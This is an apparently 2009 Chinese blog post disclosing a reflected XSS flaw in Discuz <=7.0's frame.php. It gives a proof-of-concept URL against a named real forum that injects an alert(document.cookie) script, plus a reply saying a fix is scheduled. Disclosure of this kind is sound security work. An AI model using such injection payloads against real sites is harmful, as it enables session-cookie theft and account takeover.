上一篇
下一篇
Discuz <=7.0(frame.php) xss Vulnerability
作者:ZhaoHuAn 日期:2009-04-18
前段时间做风险评估的时候发现的，这个xss 需要在开启了左右分栏的情况下才可以触发。
PoC：
程序代码
----->
跳转到了
程序代码
PoC：
程序代码http://bbs.cctv.com/index.php?gid=24"></iframe><script>alert(document.cookie)</script>
----->
跳转到了
程序代码http://bbs.cctv.com/frame.php?frameon=yes&referer=http%3A//bbs.cctv.com/index.php%3Fgid%3D24%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
文章来自: 
引用通告: 
Tags: 评论: 1 | 引用: 0 | 查看次数: 2282
tiger-h[2009-04-19 04:10 PM | 
]感谢 已安排相关人员进行修补。
发表评论
